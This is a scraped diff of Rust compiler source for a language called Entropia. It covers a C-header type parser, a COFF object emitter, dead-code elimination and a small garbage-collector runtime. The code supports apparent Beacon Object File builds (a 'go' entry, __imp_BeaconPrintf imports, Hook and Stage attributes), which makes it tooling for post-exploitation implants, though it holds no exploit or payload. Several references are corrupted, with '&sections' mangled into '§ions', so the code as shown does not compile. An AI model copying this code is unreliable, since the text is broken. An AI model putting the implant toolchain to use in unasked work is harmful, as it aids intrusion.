let elem_ty = if stars > 0 { "u64".to_string() } else { base };
|
||||
let final_ty = match arr {
|
||||
None => elem_ty,
|
||||
Some(n) => format!("{elem_ty}[{n}]"),
|
||||
};
|
||||
fields.push((fname, final_ty));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Standard field: <type-spec> [*]* <name> [[N]]?;. Also
|
||||
// handles function-pointer fields: <ret> (CC *name)(...);.
|
||||
let base = self.parse_type_specifier()?;
|
||||
let stars = self.eat_pointer_stars();
|
||||
self.skip_annotations()?;
|
||||
|
||||
// Function-pointer field: <ret> (*name)(params) or with
|
||||
// calling-convention prefix. Collapses to u64.
|
||||
if matches!(self.cur, CTok::LParen) {
|
||||
self.expect(&CTok::LParen, "`(`")?;
|
||||
self.skip_annotations()?;
|
||||
let _inner_stars = self.eat_pointer_stars();
|
||||
self.skip_annotations()?;
|
||||
let fname = self.expect_ident()?;
|
||||
self.expect(&CTok::RParen, "`)`")?;
|
||||
self.eat_balanced_parens()?;
|
||||
self.skip_annotations()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
fields.push((fname, "u64".to_string()));
|
||||
continue;
|
||||
}
|
||||
|
||||
let fname = self.expect_ident()?;
|
||||
let arr = self.maybe_array_suffix()?;
|
||||
self.skip_annotations()?;
|
||||
self.expect(&CTok::Semi, "`;`")?;
|
||||
|
||||
let elem_ty = if stars > 0 { "u64".to_string() } else { base };
|
||||
let final_ty = match arr {
|
||||
None => elem_ty,
|
||||
Some(n) => format!("{elem_ty}[{n}]"),
|
||||
};
|
||||
fields.push((fname, final_ty));
|
||||
}
|
||||
Ok(fields)
|
||||
}
|
||||
|
||||
/// Optional [N] after an identifier in a field/typedef. Returns
|
||||
/// Some if present, None if not.
|
||||
fn maybe_array_suffix(&mut self) -> Result<Option<usize>, String> {
|
||||
if !matches!(self.cur, CTok::LBracket) { return Ok(None); }
|
||||
self.advance()?;
|
||||
let n = match &self.cur {
|
||||
CTok::Int(n) => { let v = *n as usize; self.advance()?; v }
|
||||
other => return Err(self.err(&format!(
|
||||
"expected integer array length, got {other:?}"
|
||||
))),
|
||||
};
|
||||
self.expect(&CTok::RBracket, "`]`")?;
|
||||
Ok(Some(n))
|
||||
}
|
||||
|
||||
/// Read one type-specifier: optionally signed/unsigned followed by an
|
||||
/// integer keyword (char/short/int/long/long long), OR a struct Tag,
|
||||
/// OR a union Tag, OR a previously-defined typedef.
|
||||
fn parse_type_specifier(&mut self) -> Result<String, String> {
|
||||
loop {
|
||||
if let CTok::Ident(s) = &self.cur {
|
||||
if s == "const" || s == "volatile" || s == "restrict" { self.advance()?; continue; }
|
||||
}
|
||||
break;
|
||||
}
|
||||
// struct Tag or union Tag
|
||||
if let CTok::Ident(s) = &self.cur {
|
||||
if s == "struct" || s == "union" {
|
||||
self.advance()?;
|
||||
let tag = self.expect_ident()?;
|
||||
// Auto-register the tag as a known type so forward
|
||||
// references through pointers (struct Foo*) work
|
||||
// even if the definition appears later.
|
||||
self.struct_tags.insert(tag.clone());
|
||||
return Ok(tag);
|
||||
}
|
||||
}
|
||||
let mut is_unsigned = None::<bool>;
|
||||
if let CTok::Ident(s) = &self.cur {
|
||||
if s == "unsigned" { is_unsigned = Some(true); self.advance()?; }
|
||||
else if s == "signed" { is_unsigned = Some(false); self.advance()?; }
|
||||
}
|
||||
let kw = match &self.cur {
|
||||
CTok::Ident(s) => s.clone(),
|
||||
other => return Err(self.err(&format!("expected type, got {other:?}"))),
|
||||
};
|
||||
match kw.as_str() {
|
||||
"char" => { self.advance()?; Ok(if is_unsigned.unwrap_or(true) { "u8".into() } else { "i8".into() }) }
|
||||
"short" => { self.advance()?; Ok(if is_unsigned.unwrap_or(false) { "u16".into() } else { "i16".into() }) }
|
||||
"int" => { self.advance()?; Ok(if is_unsigned.unwrap_or(false) { "u32".into() } else { "i32".into() }) }
|
||||
"long" => {
|
||||
self.advance()?;
|
||||
let is_ll = matches!(&self.cur, CTok::Ident(s) if s == "long");
|
||||
if is_ll { self.advance()?; }
|
||||
let size_bits = if is_ll { 64 } else { 32 };
|
||||
Ok(match (is_unsigned.unwrap_or(false), size_bits) {
|
||||
(true, 64) => "u64".into(),
|
||||
(false, 64) => "i64".into(),
|
||||
(true, 32) => "u32".into(),
|
||||
(false, 32) => "i32".into(),
|
||||
_ => unreachable!(),
|
||||
})
|
||||
}
|
||||
other => {
|
||||
if is_unsigned.is_some() {
|
||||
return Err(self.err(&format!(
|
||||
"`{}{kw}` is not a valid C integer type",
|
||||
if is_unsigned == Some(true) { "unsigned " } else { "signed " }
|
||||
)));
|
||||
}
|
||||
if other == "void" {
|
||||
self.advance()?;
|
||||
return Ok("void".into());
|
||||
}
|
||||
self.advance()?;
|
||||
if let Some(resolved) = self.typedefs.get(other) {
|
||||
Ok(resolved.clone())
|
||||
} else if self.struct_tags.contains(other) {
|
||||
Ok(other.to_string())
|
||||
} else {
|
||||
Err(self.err(&format!("unknown type `{other}`")))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn eat_pointer_stars(&mut self) -> usize {
|
||||
let mut n = 0;
|
||||
while matches!(self.cur, CTok::Star) {
|
||||
let _ = self.advance();
|
||||
n += 1;
|
||||
}
|
||||
n
|
||||
}
|
||||
|
||||
/// , *ALIAS [, *ALIAS2]* - common C pattern after a typedef to also
|
||||
/// expose a pointer alias. We register the alias names as u64 typedefs
|
||||
/// so they're usable in subsequent <type> name positions.
|
||||
fn skip_pointer_aliases(&mut self) -> Result<(), String> {
|
||||
while matches!(self.cur, CTok::Comma) {
|
||||
self.advance()?;
|
||||
let _stars = self.eat_pointer_stars();
|
||||
if let CTok::Ident(s) = &self.cur {
|
||||
let n = s.clone();
|
||||
self.advance()?;
|
||||
self.typedefs.insert(n, "u64".to_string());
|
||||
} else {
|
||||
return Err(self.err("expected identifier after `,`"));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// C primitive spellings to Entropia canonical type names.
|
||||
// These get pre-loaded into the typedef table so user-written headers can refer to them by either form.
|
||||
const PRIMITIVES: &[(&str, &str)] = &[
|
||||
("uint8_t", "u8"),
|
||||
("uint16_t", "u16"),
|
||||
("uint32_t", "u32"),
|
||||
("uint64_t", "u64"),
|
||||
("int8_t", "i8"),
|
||||
("int16_t", "i16"),
|
||||
("int32_t", "i32"),
|
||||
("int64_t", "i64"),
|
||||
("size_t", "u64"),
|
||||
("ptrdiff_t","i64"),
|
||||
("uintptr_t","u64"),
|
||||
("intptr_t", "i64"),
|
||||
("FILE", "u64"),
|
||||
];
|
||||
+3450
File diff suppressed because it is too large
Load Diff
+295
@@ -0,0 +1,295 @@
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::io::Write;
|
||||
|
||||
// COFF constants. Spelled out locally so the emitter stays
|
||||
// self-contained (the compiler crate doesn't need windows-sys).
|
||||
|
||||
pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
|
||||
|
||||
// Section characteristics.
|
||||
pub const IMAGE_SCN_CNT_CODE: u32 = 0x0000_0020;
|
||||
pub const IMAGE_SCN_CNT_INITIALIZED_DATA: u32 = 0x0000_0040;
|
||||
pub const IMAGE_SCN_CNT_UNINITIALIZED_DATA: u32 = 0x0000_0080;
|
||||
pub const IMAGE_SCN_ALIGN_1BYTES: u32 = 0x0010_0000;
|
||||
pub const IMAGE_SCN_ALIGN_4BYTES: u32 = 0x0030_0000;
|
||||
pub const IMAGE_SCN_ALIGN_8BYTES: u32 = 0x0040_0000;
|
||||
pub const IMAGE_SCN_ALIGN_16BYTES: u32 = 0x0050_0000;
|
||||
pub const IMAGE_SCN_MEM_EXECUTE: u32 = 0x2000_0000;
|
||||
pub const IMAGE_SCN_MEM_READ: u32 = 0x4000_0000;
|
||||
pub const IMAGE_SCN_MEM_WRITE: u32 = 0x8000_0000;
|
||||
|
||||
pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2;
|
||||
pub const IMAGE_SYM_CLASS_STATIC: u8 = 3;
|
||||
|
||||
// 0x20 marks a function symbol (used for go). Aux records for
|
||||
// function size aren't emitted in V1.
|
||||
pub const IMAGE_SYM_TYPE_NULL: u16 = 0x00;
|
||||
pub const IMAGE_SYM_DTYPE_FUNCTION: u16 = 0x20;
|
||||
|
||||
// Relocation types for AMD64.
|
||||
pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
|
||||
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
|
||||
pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
|
||||
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
|
||||
|
||||
// Public artifact: codegen builds a CoffObject and hands it to emit.
|
||||
// Symbols are deduplicated; relocations index into symbols.
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum SymKind {
|
||||
/// .text static. External only when the symbol is go.
|
||||
TextStatic,
|
||||
TextExtern,
|
||||
DataStatic { section: SectionId },
|
||||
/// Loader-resolved: __imp_BeaconPrintf, __imp_USER32$MessageBoxA, ...
|
||||
Undefined,
|
||||
}
|
||||
|
||||
/// Section number is 1-based in COFF (0 = undefined). Order here
|
||||
/// matches the order sections get emitted into the file.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
|
||||
pub enum SectionId { Text, Rdata, Data, Bss }
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct CoffSymbol {
|
||||
pub name: String,
|
||||
pub kind: SymKind,
|
||||
/// Offset within the symbol's section. Ignored for Undefined.
|
||||
pub value: u32,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct CoffReloc {
|
||||
pub at: u32,
|
||||
pub sym: usize,
|
||||
pub ty: u16,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct CoffSection {
|
||||
pub bytes: Vec<u8>,
|
||||
pub relocs: Vec<CoffReloc>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Default)]
|
||||
pub struct CoffObject {
|
||||
pub text: CoffSection,
|
||||
pub rdata: CoffSection,
|
||||
pub data: CoffSection,
|
||||
pub bss_size: u32, // .bss carries no raw bytes; just a size
|
||||
pub symbols: Vec<CoffSymbol>,
|
||||
}
|
||||
|
||||
impl CoffObject {
|
||||
pub fn new() -> Self { Self::default() }
|
||||
|
||||
/// Find-or-add a symbol; returns its index. Idempotent on name.
|
||||
pub fn intern(&mut self, name: &str, kind: SymKind, value: u32) -> usize {
|
||||
if let Some(i) = self.symbols.iter().position(|s| s.name == name) {
|
||||
return i;
|
||||
}
|
||||
self.symbols.push(CoffSymbol {
|
||||
name: name.to_string(),
|
||||
kind, value,
|
||||
});
|
||||
self.symbols.len() - 1
|
||||
}
|
||||
}
|
||||
|
||||
// Emitter. File layout: [file header | section headers | raw section
|
||||
// bytes | per-section relocs | symbol table | string table].
|
||||
pub fn emit(obj: &CoffObject) -> Result<Vec<u8>, String> {
|
||||
// .text is always present; other sections appear iff they have
|
||||
// content. SectionId order is stable so prior symbol indices resolve.
|
||||
let mut sections: Vec<(&'static str, u32, &CoffSection, SectionId, u32)> = Vec::new();
|
||||
|
||||
// .bss placeholder. Don't reuse another section here - the
|
||||
// header writer reads body.relocs.len from it and a wrong
|
||||
// placeholder makes the loader apply every reloc twice.
|
||||
static EMPTY_SECTION: CoffSection = CoffSection {
|
||||
bytes: Vec::new(),
|
||||
relocs: Vec::new(),
|
||||
};
|
||||
|
||||
sections.push((
|
||||
".text",
|
||||
IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_ALIGN_16BYTES,
|
||||
&obj.text,
|
||||
SectionId::Text,
|
||||
0,
|
||||
));
|
||||
if !obj.rdata.bytes.is_empty() {
|
||||
sections.push((
|
||||
".rdata",
|
||||
IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_ALIGN_8BYTES,
|
||||
&obj.rdata,
|
||||
SectionId::Rdata,
|
||||
0,
|
||||
));
|
||||
}
|
||||
if !obj.data.bytes.is_empty() {
|
||||
sections.push((
|
||||
".data",
|
||||
IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_ALIGN_8BYTES,
|
||||
&obj.data,
|
||||
SectionId::Data,
|
||||
0,
|
||||
));
|
||||
}
|
||||
if obj.bss_size > 0 {
|
||||
sections.push((
|
||||
".bss",
|
||||
IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_ALIGN_8BYTES,
|
||||
&EMPTY_SECTION,
|
||||
SectionId::Bss,
|
||||
obj.bss_size,
|
||||
));
|
||||
}
|
||||
|
||||
// SectionId -> 1-based section number for the symbol table.
|
||||
let mut sec_num: HashMap<SectionId, i16> = HashMap::new();
|
||||
for (i, (_, _, _, id, _)) in sections.iter().enumerate() {
|
||||
sec_num.insert(*id, (i as i16) + 1);
|
||||
}
|
||||
|
||||
// Compute offsets so section headers can point at them.
|
||||
let header_size = 20;
|
||||
let section_hdr_size = 40 * sections.len();
|
||||
let mut cursor = header_size + section_hdr_size;
|
||||
|
||||
// Section raw data offsets.
|
||||
let mut raw_offsets: Vec<u32> = Vec::with_capacity(sections.len());
|
||||
for (_, _, body, _, bss_size) in §ions {
|
||||
if *bss_size > 0 {
|
||||
raw_offsets.push(0); // .bss has no raw data; pointer is 0
|
||||
} else if body.bytes.is_empty() {
|
||||
raw_offsets.push(0);
|
||||
} else {
|
||||
raw_offsets.push(cursor as u32);
|
||||
cursor += body.bytes.len();
|
||||
}
|
||||
}
|
||||
|
||||
// Relocation table offsets.
|
||||
let mut reloc_offsets: Vec<u32> = Vec::with_capacity(sections.len());
|
||||
for (_, _, body, _, _) in §ions {
|
||||
if body.relocs.is_empty() {
|
||||
reloc_offsets.push(0);
|
||||
} else {
|
||||
reloc_offsets.push(cursor as u32);
|
||||
cursor += body.relocs.len() * 10;
|
||||
}
|
||||
}
|
||||
|
||||
let symtab_offset = cursor as u32;
|
||||
cursor += obj.symbols.len() * 18; // 18 bytes per symbol, no aux records
|
||||
let strtab_offset = cursor;
|
||||
|
||||
// String table: <=8 byte names inline in the symbol's Name[8] slot.
|
||||
// Longer names: Name[0..4] = 0, Name[4..8] = LE offset into strtab.
|
||||
let mut strtab: Vec<u8> = Vec::new();
|
||||
strtab.extend_from_slice(&[0, 0, 0, 0]); // placeholder for size (filled at end)
|
||||
|
||||
let intern_name = |strtab: &mut Vec<u8>, name: &str| -> [u8; 8] {
|
||||
let mut out = [0u8; 8];
|
||||
if name.len() <= 8 {
|
||||
for (i, b) in name.bytes().enumerate() { out[i] = b; }
|
||||
return out;
|
||||
}
|
||||
let off = strtab.len() as u32;
|
||||
strtab.extend_from_slice(name.as_bytes());
|
||||
strtab.push(0);
|
||||
out[4..8].copy_from_slice(&off.to_le_bytes());
|
||||
out
|
||||
};
|
||||
|
||||
let mut out: Vec<u8> = Vec::new();
|
||||
|
||||
// 1. File header.
|
||||
out.write_all(&IMAGE_FILE_MACHINE_AMD64.to_le_bytes()).unwrap();
|
||||
out.write_all(&(sections.len() as u16).to_le_bytes()).unwrap();
|
||||
out.write_all(&0u32.to_le_bytes()).unwrap(); // TimeDateStamp - leave zero for reproducible builds
|
||||
out.write_all(&symtab_offset.to_le_bytes()).unwrap();
|
||||
out.write_all(&(obj.symbols.len() as u32).to_le_bytes()).unwrap();
|
||||
out.write_all(&0u16.to_le_bytes()).unwrap(); // SizeOfOptionalHeader - 0 for object files
|
||||
out.write_all(&0u16.to_le_bytes()).unwrap(); // Characteristics - 0 is fine for relocatable object
|
||||
|
||||
// 2. Section headers.
|
||||
for (i, (name, chars, body, _id, bss_size)) in sections.iter().enumerate() {
|
||||
let mut name_bytes = [0u8; 8];
|
||||
for (j, b) in name.bytes().enumerate() { if j < 8 { name_bytes[j] = b; } }
|
||||
out.write_all(&name_bytes).unwrap();
|
||||
// VirtualSize/Address: 0/0 for object files. SizeOfRawData
|
||||
// doubles as .bss size when there's no raw data.
|
||||
out.write_all(&0u32.to_le_bytes()).unwrap();
|
||||
out.write_all(&0u32.to_le_bytes()).unwrap();
|
||||
let raw_size = if *bss_size > 0 { *bss_size } else { body.bytes.len() as u32 };
|
||||
out.write_all(&raw_size.to_le_bytes()).unwrap();
|
||||
out.write_all(&raw_offsets[i].to_le_bytes()).unwrap();
|
||||
out.write_all(&reloc_offsets[i].to_le_bytes()).unwrap();
|
||||
out.write_all(&0u32.to_le_bytes()).unwrap(); // PointerToLineNumbers (deprecated)
|
||||
out.write_all(&(body.relocs.len() as u16).to_le_bytes()).unwrap();
|
||||
out.write_all(&0u16.to_le_bytes()).unwrap(); // NumberOfLineNumbers
|
||||
out.write_all(&chars.to_le_bytes()).unwrap();
|
||||
}
|
||||
|
||||
// 3. Section raw data, in declaration order.
|
||||
for (_, _, body, _, bss_size) in §ions {
|
||||
if *bss_size == 0 {
|
||||
out.write_all(&body.bytes).unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Relocation tables per section. SymbolTableIndex is 0-based
|
||||
// into obj.symbols.
|
||||
for (_, _, body, _, _) in §ions {
|
||||
for r in &body.relocs {
|
||||
out.write_all(&r.at.to_le_bytes()).unwrap();
|
||||
out.write_all(&(r.sym as u32).to_le_bytes()).unwrap();
|
||||
out.write_all(&r.ty.to_le_bytes()).unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Symbol table.
|
||||
for s in &obj.symbols {
|
||||
let name_bytes = intern_name(&mut strtab, &s.name);
|
||||
out.write_all(&name_bytes).unwrap();
|
||||
out.write_all(&s.value.to_le_bytes()).unwrap();
|
||||
|
||||
let (section_number, storage_class, ty): (i16, u8, u16) = match s.kind {
|
||||
SymKind::TextStatic => (
|
||||
*sec_num.get(&SectionId::Text).unwrap(),
|
||||
IMAGE_SYM_CLASS_STATIC,
|
||||
IMAGE_SYM_DTYPE_FUNCTION,
|
||||
),
|
||||
SymKind::TextExtern => (
|
||||
*sec_num.get(&SectionId::Text).unwrap(),
|
||||
IMAGE_SYM_CLASS_EXTERNAL,
|
||||
IMAGE_SYM_DTYPE_FUNCTION,
|
||||
),
|
||||
SymKind::DataStatic { section } => (
|
||||
*sec_num.get(§ion).unwrap(),
|
||||
IMAGE_SYM_CLASS_STATIC,
|
||||
IMAGE_SYM_TYPE_NULL,
|
||||
),
|
||||
SymKind::Undefined => (
|
||||
0,
|
||||
IMAGE_SYM_CLASS_EXTERNAL,
|
||||
IMAGE_SYM_TYPE_NULL,
|
||||
),
|
||||
};
|
||||
out.write_all(§ion_number.to_le_bytes()).unwrap();
|
||||
out.write_all(&ty.to_le_bytes()).unwrap();
|
||||
out.write_all(&[storage_class]).unwrap();
|
||||
out.write_all(&[0u8]).unwrap(); // NumberOfAuxSymbols
|
||||
}
|
||||
|
||||
// 6. String table: backpatch the size and append.
|
||||
let strtab_size = strtab.len() as u32;
|
||||
strtab[0..4].copy_from_slice(&strtab_size.to_le_bytes());
|
||||
out.write_all(&strtab).unwrap();
|
||||
|
||||
let _ = strtab_offset;
|
||||
Ok(out)
|
||||
}
|
||||
+218
@@ -0,0 +1,218 @@
|
||||
|
||||
use std::collections::HashSet;
|
||||
|
||||
use crate::ast::*;
|
||||
use crate::codegen::BuildKind;
|
||||
|
||||
/// Standard-mode entry. BOF builds use eliminate_with_kind so the
|
||||
/// seed is go instead of main.
|
||||
#[allow(dead_code)]
|
||||
pub fn eliminate(prog: &mut Program) {
|
||||
eliminate_with_kind(prog, BuildKind::Standard)
|
||||
}
|
||||
|
||||
pub fn eliminate_with_kind(prog: &mut Program, kind: BuildKind) {
|
||||
let mut ctx = Ctx::default();
|
||||
|
||||
let entry = kind.entry_name();
|
||||
if prog.functions.iter().any(|f| f.name == entry && !f.is_extern) {
|
||||
ctx.fns.insert(entry.to_string());
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
for f in &prog.functions {
|
||||
for a in &f.attrs {
|
||||
if a.kind == "Override" || a.kind == "Hook" || a.kind == "Stage" {
|
||||
ctx.fns.insert(f.name.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Mark-and-sweep until the live set stops growing.
|
||||
loop {
|
||||
let snapshot = (ctx.fns.len(), ctx.statics.len(), ctx.structs.len());
|
||||
|
||||
for f in &prog.functions {
|
||||
if ctx.fns.contains(&f.name) {
|
||||
ctx.mark_function(f);
|
||||
}
|
||||
}
|
||||
for s in &prog.statics {
|
||||
if ctx.statics.contains(&s.name) {
|
||||
ctx.mark_type(&s.ty);
|
||||
if let Some(init) = &s.init {
|
||||
ctx.mark_expr(init);
|
||||
}
|
||||
}
|
||||
}
|
||||
for s in &prog.structs {
|
||||
if ctx.structs.contains(&s.name) {
|
||||
for (_, fty) in &s.fields {
|
||||
ctx.mark_type(fty);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ctx.fns.len(), ctx.statics.len(), ctx.structs.len()) == snapshot {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Sweep: keep only marked items.
|
||||
prog.functions.retain(|f| ctx.fns.contains(&f.name));
|
||||
prog.statics.retain(|s| ctx.statics.contains(&s.name));
|
||||
prog.structs.retain(|s| ctx.structs.contains(&s.name));
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
struct Ctx {
|
||||
fns: HashSet<String>,
|
||||
statics: HashSet<String>,
|
||||
structs: HashSet<String>,
|
||||
}
|
||||
|
||||
impl Ctx {
|
||||
/// Strip [N] and * suffixes; mark the bare name as a live struct.
|
||||
/// Sweep ignores names that don't correspond to a real struct, so
|
||||
/// spurious marks are harmless.
|
||||
fn mark_type(&mut self, ty: &str) {
|
||||
let mut key = ty;
|
||||
if let Some(open) = key.rfind('[') {
|
||||
if key.ends_with(']') {
|
||||
key = &key[..open];
|
||||
}
|
||||
}
|
||||
let key = key.trim_end_matches('*');
|
||||
if !key.is_empty() {
|
||||
self.structs.insert(key.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
fn mark_function(&mut self, f: &Function) {
|
||||
for p in &f.params {
|
||||
self.mark_type(&p.ty);
|
||||
}
|
||||
self.mark_type(&f.ret_ty);
|
||||
self.mark_block(&f.body);
|
||||
}
|
||||
|
||||
fn mark_block(&mut self, stmts: &[Stmt]) {
|
||||
for s in stmts {
|
||||
self.mark_stmt(s);
|
||||
}
|
||||
}
|
||||
|
||||
fn mark_stmt(&mut self, s: &Stmt) {
|
||||
match s {
|
||||
Stmt::Var { ty, value, .. } => {
|
||||
self.mark_type(ty);
|
||||
if let Some(e) = value { self.mark_expr(e); }
|
||||
}
|
||||
Stmt::Expr { value: e, .. } => self.mark_expr(e),
|
||||
Stmt::If { cond, then_body, else_body } => {
|
||||
self.mark_expr(cond);
|
||||
self.mark_block(then_body);
|
||||
self.mark_block(else_body);
|
||||
}
|
||||
Stmt::While { cond, body } => {
|
||||
self.mark_expr(cond);
|
||||
self.mark_block(body);
|
||||
}
|
||||
Stmt::For { init, cond, step, body } => {
|
||||
if let Some(i) = init { self.mark_stmt(i); }
|
||||
if let Some(c) = cond { self.mark_expr(c); }
|
||||
if let Some(s) = step { self.mark_stmt(s); }
|
||||
self.mark_block(body);
|
||||
}
|
||||
Stmt::Ret { value: Some(e), .. } => self.mark_expr(e),
|
||||
Stmt::Raise { value, .. } => self.mark_expr(value),
|
||||
Stmt::Try { body, handler, .. } => {
|
||||
self.mark_block(body);
|
||||
self.mark_block(handler);
|
||||
}
|
||||
Stmt::Ret { value: None, .. } | Stmt::Break | Stmt::Continue => {}
|
||||
Stmt::Asm(lines) => {
|
||||
// Inline-asm %name operands reference functions / statics
|
||||
// outside the Expr tree. Mark conservatively across both
|
||||
// kinds; sweep filters spurious entries.
|
||||
use crate::asm::{AsmBody, AsmOperand, AsmMem, AsmMemBase};
|
||||
fn walk_operand(op: &AsmOperand, ctx: &mut Ctx) {
|
||||
match op {
|
||||
AsmOperand::Sym(name) => {
|
||||
ctx.fns.insert(name.clone());
|
||||
ctx.statics.insert(name.clone());
|
||||
}
|
||||
AsmOperand::Mem(AsmMem { base: Some(AsmMemBase::Sym(name)), .. }) => {
|
||||
ctx.fns.insert(name.clone());
|
||||
ctx.statics.insert(name.clone());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
for line in lines {
|
||||
match &line.body {
|
||||
AsmBody::Op1 { op, .. } => walk_operand(op, self),
|
||||
AsmBody::Op2 { dst, src, .. } => {
|
||||
walk_operand(dst, self);
|
||||
walk_operand(src, self);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn mark_expr(&mut self, e: &Expr) {
|
||||
match e {
|
||||
Expr::Var(name) => {
|
||||
// Mark as both - could be a static, a local, or a
|
||||
// function name used as a code pointer.
|
||||
self.statics.insert(name.clone());
|
||||
self.fns.insert(name.clone());
|
||||
}
|
||||
Expr::Call { ns, fname, args, .. } => {
|
||||
// Only empty-namespace (local) calls need marking;
|
||||
// Win32 and intrinsics resolve at codegen.
|
||||
if ns.is_empty() {
|
||||
self.fns.insert(fname.clone());
|
||||
}
|
||||
for a in args { self.mark_expr(a); }
|
||||
}
|
||||
Expr::Assign { value, .. } => self.mark_expr(value),
|
||||
Expr::Unary { operand, .. } => self.mark_expr(operand),
|
||||
Expr::Binary { lhs, rhs, .. } => {
|
||||
self.mark_expr(lhs);
|
||||
self.mark_expr(rhs);
|
||||
}
|
||||
Expr::Field { base, .. } => self.mark_expr(base),
|
||||
Expr::FieldAssign { base, value, .. } => {
|
||||
self.mark_expr(base);
|
||||
self.mark_expr(value);
|
||||
}
|
||||
Expr::DerefAssign { ptr, value } => {
|
||||
self.mark_expr(ptr);
|
||||
self.mark_expr(value);
|
||||
}
|
||||
Expr::Index { base, index } => {
|
||||
self.mark_expr(base);
|
||||
self.mark_expr(index);
|
||||
}
|
||||
Expr::IndexAssign { base, index, value } => {
|
||||
self.mark_expr(base);
|
||||
self.mark_expr(index);
|
||||
self.mark_expr(value);
|
||||
}
|
||||
Expr::Cast { ty, expr } => {
|
||||
self.mark_type(ty);
|
||||
self.mark_expr(expr);
|
||||
}
|
||||
Expr::SizeOf { ty } => self.mark_type(ty),
|
||||
Expr::StructLit { ty, fields, .. } => {
|
||||
self.mark_type(ty);
|
||||
for (_, e) in fields { self.mark_expr(e); }
|
||||
}
|
||||
Expr::Int(_) | Expr::Bool(_) | Expr::Str(_) => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
+1277
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,295 @@
|
||||
|
||||
use crate::encoder::{Cond, Encoder, Reg64};
|
||||
use crate::macros::GC_ALLOC_FN;
|
||||
|
||||
pub const HEAP_BASE: &str = "__gc_heap";
|
||||
pub const HEAP_NEXT: &str = "__gc_next";
|
||||
pub const HEAP_END: &str = "__gc_end";
|
||||
pub const FREELIST: &str = "__gc_freelist";
|
||||
pub const STACK_TOP: &str = "__gc_stack_top";
|
||||
|
||||
/// Heap size in bytes. Embedded in the binary regardless of use.
|
||||
pub const DEFAULT_HEAP_BYTES: usize = 4 * 1024;
|
||||
|
||||
// Header flag bits (low 3 bits of the size word).
|
||||
const FLAG_MARK: i8 = 0b001;
|
||||
const FLAG_FREE: i8 = 0b010;
|
||||
|
||||
// and r, -2 clears bit 0. free is never cleared in isolation - sweep
|
||||
// rewrites the header wholesale.
|
||||
const CLEAR_MARK_MASK: i8 = !FLAG_MARK;
|
||||
|
||||
pub fn emit_runtime(enc: &mut Encoder) {
|
||||
enc.add_bss(HEAP_NEXT, 8); // bump cursor
|
||||
enc.add_bss(HEAP_END, 8); // bump limit (heap + SIZE)
|
||||
enc.add_bss(FREELIST, 8); // head of free list (or 0)
|
||||
enc.add_bss(STACK_TOP, 8); // captured rsp from main
|
||||
enc.add_bss(HEAP_BASE, DEFAULT_HEAP_BYTES);
|
||||
|
||||
emit_init(enc);
|
||||
emit_alloc(enc);
|
||||
emit_try_alloc(enc);
|
||||
emit_collect(enc);
|
||||
emit_mark_range(enc);
|
||||
}
|
||||
|
||||
// __gc_init: called once from main's prologue. Sets heap bounds and
|
||||
// clears the freelist. __gc_stack_top is captured separately in main.
|
||||
fn emit_init(enc: &mut Encoder) {
|
||||
enc.place_code_label("__gc_init");
|
||||
enc.lea_r64_data(Reg64::Rax, HEAP_BASE);
|
||||
enc.mov_data_r64(HEAP_NEXT, Reg64::Rax);
|
||||
enc.add_r64_imm32(Reg64::Rax, DEFAULT_HEAP_BYTES as i32);
|
||||
enc.mov_data_r64(HEAP_END, Reg64::Rax);
|
||||
enc.xor_r64_r64(Reg64::Rax, Reg64::Rax);
|
||||
enc.mov_data_r64(FREELIST, Reg64::Rax);
|
||||
enc.ret();
|
||||
}
|
||||
|
||||
// __gc_alloc: public entry. Round + header, try, collect-and-retry on
|
||||
// miss, 0 on OOM.
|
||||
fn emit_alloc(enc: &mut Encoder) {
|
||||
enc.place_code_label(GC_ALLOC_FN);
|
||||
|
||||
// rcx += 15 (round + header). add r, imm8 (4 bytes).
|
||||
enc.add_r64_imm32(Reg64::Rcx, 15);
|
||||
// rcx &= -8.
|
||||
enc.and_r64_imm8(Reg64::Rcx, -8);
|
||||
|
||||
enc.call_label("__gc_try_alloc");
|
||||
enc.test_r64_r64(Reg64::Rax, Reg64::Rax);
|
||||
enc.jcc_label(Cond::Nz, "__gc_alloc_done");
|
||||
|
||||
// Collect-and-retry. Stack rcx because every scratch register is
|
||||
